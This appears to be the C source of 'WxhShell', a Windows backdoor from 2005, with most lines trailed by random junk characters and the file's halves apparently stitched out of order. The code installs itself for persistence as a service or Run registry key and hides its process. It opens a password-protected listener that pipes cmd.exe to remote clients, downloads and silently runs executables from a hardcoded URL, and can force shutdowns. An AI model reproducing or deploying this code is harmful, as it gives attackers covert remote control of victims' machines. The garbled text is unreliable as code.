    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $YGIN7_Gg  
    if(Boot(SHUTDOWN)) $kD`$L@U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @(,{_c]  
    else { Xx y Bg!R  
    closesocket(wsh); [;IDTo!<>  
    ExitThread(0); u5{5ts+:  
    } +%le/Pg@  
    break; 4<3?al&  
    } x(3 I?#kE  
  // 获取shell H?=pWB  
  case 's': { #EQx  
    CmdShell(wsh); UU;-q_H6  
    closesocket(wsh); _L:i=.hxN  
    ExitThread(0); %+7T9>+  
    break; ]lB3qEn<  
  } Ot2zhR )  
  // 退出 mS w?2ba  
  case 'x': { ~*PK080N}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .^W\OJ`G  
    CloseIt(wsh); kuTq8p2E  
    break; 9#EHXgz  
    } 6L:tr LuQ  
  // 离开 )ZgER[  
  case 'q': { b5n]Gp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a$xeiy9  
    closesocket(wsh); #A|D\IhF  
    WSACleanup(); }o!#_N0T  
    exit(1); 6 <qwP?WN  
    break; O7'<I|aD  
        } r{_B:  
  } 6HEqm>Yau  
  } ySixYt  
>2|[EZ  
  // 提示信息 =$)4:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]M+VSU  
} OD?y  
  } 7|+|\ 7l#  
j]!7BHC  
  return; O2`oe4."vd  
} B0b[p*g Il  
Uw2,o|=O  
// shell模块句柄 m?D <{BQ;  
int CmdShell(SOCKET sock) wDT>">&d  
{ {uaZ<4N.  
STARTUPINFO si; MG7 ?N #  
ZeroMemory(&si,sizeof(si)); <THZ2`tTK3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @)W(q5)}9"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z>(r9 R3{  
PROCESS_INFORMATION ProcessInfo; ~7lTqY\  
char cmdline[]="cmd"; BR& Aq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;~Q  
  return 0; 99l>CYXd  
} T~i%j@Q.6  
KA5~">l  
// 自身启动模式 P"(z jG9-  
int StartFromService(void) e/"yGQu  
{ @uI?  
typedef struct 7BL |x  
{ a|DsHZ^6^  
  DWORD ExitStatus; Usa+b A  
  DWORD PebBaseAddress; 0>,.c2),  
  DWORD AffinityMask; YSR mt/  
  DWORD BasePriority; hp bwZ  
  ULONG UniqueProcessId; ?S (im  
  ULONG InheritedFromUniqueProcessId; @s_3 0+  
}   PROCESS_BASIC_INFORMATION; ?QCmSK=L  
"w}-?:# j  
PROCNTQSIP NtQueryInformationProcess; J>rka]*  
YBb)/ZghY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L'zE<3O'3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "$XYIuT  
%KGq*|GUu  
  HANDLE             hProcess; 9T(L"9r-e  
  PROCESS_BASIC_INFORMATION pbi; KcC!N{  
+c^_^Z$_4o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &4,WG  
  if(NULL == hInst ) return 0; )PR3s1S^  
\7pipde  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K&=D-50%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >T<6fpXuk2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z{ptm7  
\)ip>{WG  
  if (!NtQueryInformationProcess) return 0; *)u?~r(F  
7ftR 4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >~_J q|KBB  
  if(!hProcess) return 0; otO j^xU  
*HR +a#o  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )2xE z  
8z Y)J#  
  CloseHandle(hProcess); ^YGTh0$W  
5sCFzo<=vh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z~,mRgc$B  
if(hProcess==NULL) return 0; pz{'1\_+9  
\K;op2  
HMODULE hMod; *h$&0w y  
char procName[255]; nX|Q~x]  
unsigned long cbNeeded; Vtr3G.P^  
I,b9t\(6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); GcT;e5D  
;j{7!GeKa  
  CloseHandle(hProcess); B MM--y@  
hq=,Z1J  
if(strstr(procName,"services")) return 1; // 以服务启动 yub{8f;v  
*m9{V8Yi2  
  return 0; // 注册表启动 OO nX`  
} k;k}qq`d  
t2- ^-g6  
// 主模块 xACdZB(  
int StartWxhshell(LPSTR lpCmdLine) q*, Q5  
{ %Tv^GP{}  
  SOCKET wsl; 5Fm av5  
BOOL val=TRUE; y` yZ R _  
  int port=0; aBhV3Fd[B  
  struct sockaddr_in door; iib  
+L0w;wT  
  if(wscfg.ws_autoins) Install(); S,''>`w  
24u x  
port=atoi(lpCmdLine); oKA&An  
5{K}?*3hJ  
if(port<=0) port=wscfg.ws_port; ]N^*tO  
j(eFoZz,  
  WSADATA data; y+9h~,:A  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]5' d&f  
WkP +r9rT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   TW7:q83{l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pu+ur=5&  
  door.sin_family = AF_INET; 7AwgJb hn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !lTda<;]  
  door.sin_port = htons(port); ?<U{{ C  
vi!YN|}\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G_ >G'2  
closesocket(wsl); 8 Ti G3  
return 1; xyA-P& N  
} bc I']WgB-  
~6aCfbu%V  
  if(listen(wsl,2) == INVALID_SOCKET) { L?5f+@0.  
closesocket(wsl); -r<#rITH"  
return 1; ?kTWpXx"=  
} JWv{=_2w  
  Wxhshell(wsl); F S"eM"z  
  WSACleanup(); qQ0C?  
x%N\5 V1  
return 0; 80pid[F  
id^sr Mw  
} XL$* _c <)  
D)@XoM(  
// 以NT服务方式启动 e`K)_>^n#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (:pq77  
{ 4)6xU4eBaL  
DWORD   status = 0; Dg HaOAdU  
  DWORD   specificError = 0xfffffff;  \ %=9  
Q`%R[#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; TUIk$U?/I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4|?{VQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tK(g-u0N`(  
  serviceStatus.dwWin32ExitCode     = 0; Y&HK1>M_  
  serviceStatus.dwServiceSpecificExitCode = 0; j;1-p>z  
  serviceStatus.dwCheckPoint       = 0;  m#vL*]c}  
  serviceStatus.dwWaitHint       = 0; uC3:7  
A{eLl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *?ITns W<  
  if (hServiceStatusHandle==0) return; sP@X g;]  
LQYy;<K  
status = GetLastError(); `d]IX^;  
  if (status!=NO_ERROR) e({9]  
{ U69u'G:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5yZTcS z  
    serviceStatus.dwCheckPoint       = 0; &MZ$j46  
    serviceStatus.dwWaitHint       = 0; y&m0Lz53Z  
    serviceStatus.dwWin32ExitCode     = status; $~0Q@):  
    serviceStatus.dwServiceSpecificExitCode = specificError; <*!i$(gn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >LC<O.  
    return; tR0pH8?e"  
  } wxg^Bq)D*R  
<h).fX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; / $  :j  
  serviceStatus.dwCheckPoint       = 0; )tHaB,  
  serviceStatus.dwWaitHint       = 0; K,'*Dz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `;|5  
} }v9\F-0>Q  
"xmP6=1  
// 处理NT服务事件,比如:启动、停止 .d;Iht,[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %3q0(Xl  
{ i,A#&YDl  
switch(fdwControl) u 's`*T@.  
{ oI:o"T77sA  
case SERVICE_CONTROL_STOP: do*}syQ`O  
  serviceStatus.dwWin32ExitCode = 0; 2kAx>R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PWRy7d  
  serviceStatus.dwCheckPoint   = 0; 99$ 5`R;  
  serviceStatus.dwWaitHint     = 0; fj7|D'c  
  { Aa0b6?Jm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vb 1@yQ  
  } !Cgx.   
  return; 8.' #?]a  
case SERVICE_CONTROL_PAUSE: ^, l_{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; S##1GOO  
  break; NN0$}acp  
case SERVICE_CONTROL_CONTINUE: JO=[YoTr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iovfo2!hD  
  break; D|Iur W1f  
case SERVICE_CONTROL_INTERROGATE: c4&'D;=  
  break; dzK{ Z  
}; DRqZ,[!+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !USd9  
} v_e9}yI   
&l$Q^g  
// 标准应用程序主函数 vZ/6\Cz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L9pvG(R%  
{ M/x>51<  
y;mj^/SxK  
// 获取操作系统版本 '(? uPr  
OsIsNt=GetOsVer(); EbeI{ -'aF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '$4O!YI9@  
!fBF|*/  
  // 从命令行安装 1/p*tZP8i  
  if(strpbrk(lpCmdLine,"iI")) Install(); +&zYZA8v  
o6f_l^+H  
  // 下载执行文件 go+Q~NV   
if(wscfg.ws_downexe) { ycFio ,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 85 EQ5yY  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1n%?@+W  
} l3N I$Z u  
3=-4%%[M@  
if(!OsIsNt) { *:i1Lv@  
// 如果时win9x,隐藏进程并且设置为注册表启动 I`z@2Z+pJ  
HideProc(); e><5Pr)  
StartWxhshell(lpCmdLine); *'Z B*>  
} \{Q?^E  
else M#|dIbns H  
  if(StartFromService()) {3N'D2N  
  // 以服务方式启动 /1?R?N2>0  
  StartServiceCtrlDispatcher(DispatchTable); ng:Q1Q9N  
else lL]y~u  
  // 普通方式启动 - 0?^#G}3}  
  StartWxhshell(lpCmdLine); Xl@cHO=i  
2Z20E$Cb  
return 0; g$. \  
} e #/E~r&  
`jS T  
r J KZ)N{  
hHqh{:q{v  
=========================================== wP"dZagpj  
@ 49nJi  
bQ|V!mrN}  
DcSnia62f  
y4+ ;z2' >  
LJoGpr 8  
" AkOO )0  
7)h[Zy,A  
#include <stdio.h> tGB@$UmfU  
#include <string.h> 3> /K0N|$  
#include <windows.h> dg4vc][  
#include <winsock2.h> +l=r#JF  
#include <winsvc.h> R *F l8   
#include <urlmon.h> xq"Jy=4Q*  
@29U@T  
#pragma comment (lib, "Ws2_32.lib") !bV5Sr^  
#pragma comment (lib, "urlmon.lib") BB|?1"neg  
_HhbIU  
#define MAX_USER   100 // 最大客户端连接数 \@&_>us  
#define BUF_SOCK   200 // sock buffer \c^45<G2qA  
#define KEY_BUFF   255 // 输入 buffer }MUn/ [x  
\=>H6x]q  
#define REBOOT     0   // 重启 .5  
#define SHUTDOWN   1   // 关机 LkQX?2>]  
[ Bl c^C{f  
#define DEF_PORT   5000 // 监听端口 T6ENtp  
?k(\ApVHj  
#define REG_LEN     16   // 注册表键长度 A=Ss6 -Je  
#define SVC_LEN     80   // NT服务名长度 &HSq(te  
]r_;dYa  
// 从dll定义API Ie%EH  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "Ky; a?Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [V:\\$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :_QCfH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fU!<HD h  
"n*~Mj Ny  
// wxhshell配置信息 )Pv9_XKJ  
struct WSCFG { 3MRc 4UlB  
  int ws_port;         // 监听端口 Qyy.IPTP  
  char ws_passstr[REG_LEN]; // 口令 4 {9B9={  
  int ws_autoins;       // 安装标记, 1=yes 0=no c_elShK8#  
  char ws_regname[REG_LEN]; // 注册表键名 w|Nz_3tI  
  char ws_svcname[REG_LEN]; // 服务名 [|l?2j\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jMpD+Mb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &?h,7 D;A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WVLHfkN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^%` wJ.c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h>Hb `G<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zz& ?{vJ  
uw2hMt (N  
}; f47M#UC  
vv=VRhwF  
// default Wxhshell configuration Bm]8m=p  
struct WSCFG wscfg={DEF_PORT, &d|r~NhP  
    "xuhuanlingzhe", ]7e =fM9V;  
    1, p ]d] QMu  
    "Wxhshell", be +4junf  
    "Wxhshell", FHV-BuH5  
            "WxhShell Service", &~W:xg(jN  
    "Wrsky Windows CmdShell Service", H#ncM~y*  
    "Please Input Your Password: ", :^(>YAyHj^  
  1, [}&Sxgv  
  "http://www.wrsky.com/wxhshell.exe", l<);s  
  "Wxhshell.exe" aE2.L;Tk?  
    }; &-;5* lg)0  
^yOZArc'r  
// 消息定义模块 db6mfx i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,TFIG^Dvq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f!JS= N?3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q`r**N+zn  
char *msg_ws_ext="\n\rExit."; Dtj&W<NXo  
char *msg_ws_end="\n\rQuit."; RU\/j%^  
char *msg_ws_boot="\n\rReboot..."; ghRVso(  
char *msg_ws_poff="\n\rShutdown..."; Sy 'Dp9!|  
char *msg_ws_down="\n\rSave to "; ,2W8=ON  
w`5xrqt@  
char *msg_ws_err="\n\rErr!"; 5;HH4?]p  
char *msg_ws_ok="\n\rOK!"; p3 ^ m9J  
D"D<+ ;S#  
char ExeFile[MAX_PATH]; }I>tO9M  
int nUser = 0; R47\Y  
HANDLE handles[MAX_USER]; 5s]. @C8  
int OsIsNt; |)*fRL,  
gN"7be&J  
SERVICE_STATUS       serviceStatus; &Udb9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R~6$oeWAw  
:*KHx|Q  
// 函数声明 q*>&^V$M  
int Install(void); w.TuoWo>  
int Uninstall(void); FIsyiSY<j  
int DownloadFile(char *sURL, SOCKET wsh); BSVxN  
int Boot(int flag); 1|jt"Hz  
void HideProc(void); ^RI?ybDd  
int GetOsVer(void); VFys.=  
int Wxhshell(SOCKET wsl); l~$+,U&XNe  
void TalkWithClient(void *cs); # }y2)g  
int CmdShell(SOCKET sock); sc,vj'r  
int StartFromService(void); k1D@fiz  
int StartWxhshell(LPSTR lpCmdLine); #NryLE!/  
EU+S^SyZi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (:> ,u*x%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L}pt)w*V1j  
4v{o  
// 数据结构和表定义 ZG&>:Si;  
SERVICE_TABLE_ENTRY DispatchTable[] = jJPGrkr  
{ u@cYw:-C  
{wscfg.ws_svcname, NTServiceMain},   #^A*  
{NULL, NULL} 0a XPPnuX  
}; O*FUTZd(J  
 UWo]s.  
// 自我安装 &n8_0|gK  
int Install(void) }*S `qW;B  
{ ~ r4 38&  
  char svExeFile[MAX_PATH]; QvKh,rBFVG  
  HKEY key; M# %a(Y3K)  
  strcpy(svExeFile,ExeFile); ia+oX~W!VR  
E;R n`oxk  
// 如果是win9x系统,修改注册表设为自启动 SSWP~ t  
if(!OsIsNt) { IvtJ0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8b;1F Q'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); GE%Z9#E  
  RegCloseKey(key); "ozr+:#\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DrY:9[LP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e9U9Uu[  
  RegCloseKey(key); =*c7i]@}  
  return 0; (Hb:?(  
    } lHPd"3HDK  
  } FWG6uKv  
} NRIG1v>  
else { jk[1{I/  
r\-uJ~8N  
// 如果是NT以上系统,安装为系统服务 T^k7o^N>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _C*fs< #  
if (schSCManager!=0) L"1}V  
{ S79;^X  
  SC_HANDLE schService = CreateService `-J%pEIza  
  ( # Oc] @  
  schSCManager, DN-+osPi  
  wscfg.ws_svcname, %Q fO8P  
  wscfg.ws_svcdisp, (mTE;s(  
  SERVICE_ALL_ACCESS, v50bdj9}k  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jD<{t  
  SERVICE_AUTO_START, 1AM!8VR2  
  SERVICE_ERROR_NORMAL,  ~- _kM  
  svExeFile, rrBsb -  
  NULL, 7e|s wJ>4  
  NULL, t!W(_8j  
  NULL, F@'Jbd`   
  NULL, ^6MU 0Q2  
  NULL 8QLj["   
  ); Eg#K.5hJ  
  if (schService!=0) j7$e28|_n  
  { YQ9'0F[l  
  CloseServiceHandle(schService); ff,pvk8N5  
  CloseServiceHandle(schSCManager); Q  Nh|Wz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5HkKurab  
  strcat(svExeFile,wscfg.ws_svcname); s E2D#D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Dwr)0nk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K/j3a[.  
  RegCloseKey(key); a!7A_q8M  
  return 0; 7Bzq,2s  
    } - D  
  } Ai=s e2  
  CloseServiceHandle(schSCManager); aQ?/%\>  
} ([T>.s  
} DS.RURzd{r  
#~}nFY.  
return 1; 8<S~Z:JK  
} 9kN}c<o  
)t0$qd ]  
// 自我卸载 S;3R S;  
int Uninstall(void) J%v=yBC2  
{ vj'wm}/  
  HKEY key; ]'!f28Ng-  
42_`+Vt]d7  
if(!OsIsNt) { vM*-D{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]HKQDc'  
  RegDeleteValue(key,wscfg.ws_regname); fHE <(  
  RegCloseKey(key); S!jTyY7e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q]Y*K  
  RegDeleteValue(key,wscfg.ws_regname); A-Sv;/yD_  
  RegCloseKey(key); gPNZF\ r  
  return 0; Zd^rNHhA  
  } R} eN@#"D  
} y I HXg#  
} fxgPhnaC>  
else { #I{h\x><?  
rq8K_zp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Uol|9F  
if (schSCManager!=0) [w>$QR  
{ rn/ /%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >:AARx%  
  if (schService!=0) KyVQh8  
  { .*@;@06?  
  if(DeleteService(schService)!=0) { wKtl+}}  
  CloseServiceHandle(schService); 9_# >aOqL  
  CloseServiceHandle(schSCManager); q.KG^=10  
  return 0; Q8:Has  
  } UldXYtGe  
  CloseServiceHandle(schService); ~bM4[*Q7  
  } $? m9")  
  CloseServiceHandle(schSCManager); 3QV*%  
} 04LI]'  
} ,~aQL  
1t:Q_j0Ym  
return 1; :#LLo}LKp  
} N|8P)  
iqC|G/  
// 从指定url下载文件 qW$<U3u}  
int DownloadFile(char *sURL, SOCKET wsh) chcbd y>C  
{ ~+Rc }K  
  HRESULT hr; 6CV* Z\b  
char seps[]= "/"; *"+=K,#D  
char *token; 8ZM?)# `@{  
char *file; _D+}q_  
char myURL[MAX_PATH]; <Y*+|T+&d  
char myFILE[MAX_PATH]; TC @s  
j>*R]mr6  
strcpy(myURL,sURL); X}=n:Ql'YY  
  token=strtok(myURL,seps); wF IegC(  
  while(token!=NULL) =!kk|_0%E  
  { ?zeJ#i  
    file=token; T m_bz&Q  
  token=strtok(NULL,seps); @E;=*9ek{u  
  } 1{r3#MVL  
*i\Qo  
GetCurrentDirectory(MAX_PATH,myFILE);  ~3Lg"I  
strcat(myFILE, "\\"); _g+JA3sIJ  
strcat(myFILE, file); %=n!Em(  
  send(wsh,myFILE,strlen(myFILE),0); WB?jRYp  
send(wsh,"...",3,0); n)L*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G^~k)6v=m  
  if(hr==S_OK) `e(c^z#  
return 0; hU(umL<  
else aDq5C-MzG  
return 1; gcE|#1>  
)jU)_To  
} O;z,qo X  
6 )Hwt_b  
// 系统电源模块 qS403+Su1=  
int Boot(int flag) m`v2: S}  
{ y-T| #  
  HANDLE hToken; jq-p;-i  
  TOKEN_PRIVILEGES tkp; !Nu<xq@!  
&%8'8,.  
  if(OsIsNt) { J{l1nHQZSu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); "JVkVp[5D+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u6M.'  
    tkp.PrivilegeCount = 1; " W!M[qBW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qHsUP;7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vqnw#U4`  
if(flag==REBOOT) { @PN#p"KaT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m#8m] Y  
  return 0; @x9a?L.48  
} x4g3 rmp  
else { S\''e`Eb"5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $k|g"9  
  return 0; !$DIc  
} k ]W[`  
  } f_wvZ&  
  else { !zux z  
if(flag==REBOOT) { /,1D)0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \qR7mI/*  
  return 0; .clP#r{U  
} ?f#y1m  
else { 9!f/aI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wQv'8A_}  
  return 0; wi hH?~]  
} UQ8M~x5$3%  
} zw+B9PYqX  
xgABpikC^  
return 1; _6O\W%it  
} n/DP>U$I&  
BsBK@+ZyI  
// win9x进程隐藏模块 m/v9!'cMI  
void HideProc(void) UV5Ie!\nm  
{ $>*3/H  
Acnl^x7Y1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =2[7 E  
  if ( hKernel != NULL ) t/ +=|*  
  { =2Bg9!zW>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Nu^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L~_9_9c  
    FreeLibrary(hKernel); ;ToKJ6hN|*  
  } qi;f^9M%  
pV.Av  
return; Rz (QC\(  
} dOqOw M.y  
0zo?eI  
// 获取操作系统版本 z."a.>fPaO  
int GetOsVer(void) UjaK&K+M?  
{ %TX@I$Ba  
  OSVERSIONINFO winfo; 'pm2n0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @b"t]#V(E  
  GetVersionEx(&winfo); MG[o%I96  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~3WM5 fv  
  return 1; j2Tr $gx<  
  else Ge,;8N88  
  return 0; -cZDG t  
} ^ s1Q*He  
}-ftyl7  
// 客户端句柄模块 HU%o6cw  
int Wxhshell(SOCKET wsl) XID<(HBA"!  
{ j*F`"df  
  SOCKET wsh; cU ? 0(z7  
  struct sockaddr_in client; f>aEkh6u9  
  DWORD myID; x 8Retuv  
R16'?,  
  while(nUser<MAX_USER) 5nv<^>[J  
{ (:._"jp]  
  int nSize=sizeof(client); i-bJS6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U"q/rcA  
  if(wsh==INVALID_SOCKET) return 1; Atflf2K  
j;s"q]"x]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); GKvN* SU=  
if(handles[nUser]==0) t=_J9|  
  closesocket(wsh); H,+I2tEs  
else A/s>PhxV  
  nUser++; 4Fp0ZVT  
  } d*A*y^OD  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0TN;86Mo  
^&bRX4pYo  
  return 0; ~.A)bp  
} jov:]Bic  
SV:4GVf  
// 关闭 socket 6b%WHLUeT  
void CloseIt(SOCKET wsh) :!5IW?2  
{ <@}I0  
closesocket(wsh); w4W_iaU  
nUser--; `!D s6  
ExitThread(0); *H?!;u=8  
} T.Ryy"%F  
} b=}uiR#  
// 客户端请求句柄 2P/K K  
void TalkWithClient(void *cs) VYt!U  
{ OR}c)|1  
yHHt(GM|o  
  SOCKET wsh=(SOCKET)cs; K?s+3  
  char pwd[SVC_LEN]; [%9no B  
  char cmd[KEY_BUFF]; UNPezHaz  
char chr[1]; LbaK={tR  
int i,j; `}BF${vF  
PQK(0iCo4  
  while (nUser < MAX_USER) { Kw8u`$Ad7  
T:/,2.l  
if(wscfg.ws_passstr) { M7ers|&{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ga#:P F0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S,<EEtXQ  
  //ZeroMemory(pwd,KEY_BUFF); .k 3 '  
      i=0; ;]gP@h/  
  while(i<SVC_LEN) { qduWzxB  
OCZ[D{i9@  
  // 设置超时 3}@_hS"^8  
  fd_set FdRead; 5B&;uY  
  struct timeval TimeOut; (9<guv  
  FD_ZERO(&FdRead); v^zu:Z*  
  FD_SET(wsh,&FdRead); ;9~6_@,@o  
  TimeOut.tv_sec=8; 2RN)<\P  
  TimeOut.tv_usec=0; hGbj0   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); :WSDf VX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4O;OjUI0a  
3&6#F"7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ep=qf/vd<  
  pwd=chr[0]; z]2]XTmWs  
  if(chr[0]==0xd || chr[0]==0xa) { ZTU&, 1Y;  
  pwd=0; TQ`Rk;0R  
  break; _R.B[\r@  
  } #]#sGmW/L  
  i++; 6_d.Yfbq  
    } :$_6SQ<?  
s/7 A7![  
  // 如果是非法用户,关闭 socket mcn 2Wt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,RgB$TcE  
} /F4pb]U!*  
C_4)=#@GU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); y_HN6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BWrv%7  
>~`r:0',  
while(1) { K =wBpLB  
63.wL0~  
  ZeroMemory(cmd,KEY_BUFF); +J{0 E  
Rb%%?*|  
      // 自动支持客户端 telnet标准   +<}0|Xl&  
  j=0; _:X|.W  
  while(j<KEY_BUFF) { `E!N9qI?t$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7C$ 5  
  cmd[j]=chr[0]; l#lF +Q;  
  if(chr[0]==0xa || chr[0]==0xd) { "H&"(=  
  cmd[j]=0; F[4;Xq  
  break; B%KG3]  
  } f8SL3+v  
  j++; lip[n;Ir>  
    } quvanx V-L  
kKPi:G52F  
  // 下载文件 A<6%r7&B'  
  if(strstr(cmd,"http://")) { Ov#=]t5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @x eAc0.^  
  if(DownloadFile(cmd,wsh)) [! 'op0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nOQa_G]Gz  
  else 3SSm5{197  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?KITC;\\  
  } {CR5K9  
  else { 'S[++w?Qq  
l^d[EL+  
    switch(cmd[0]) { YPzU-:3  
  :5/Uh/sX  
  // 帮助  49d@!  
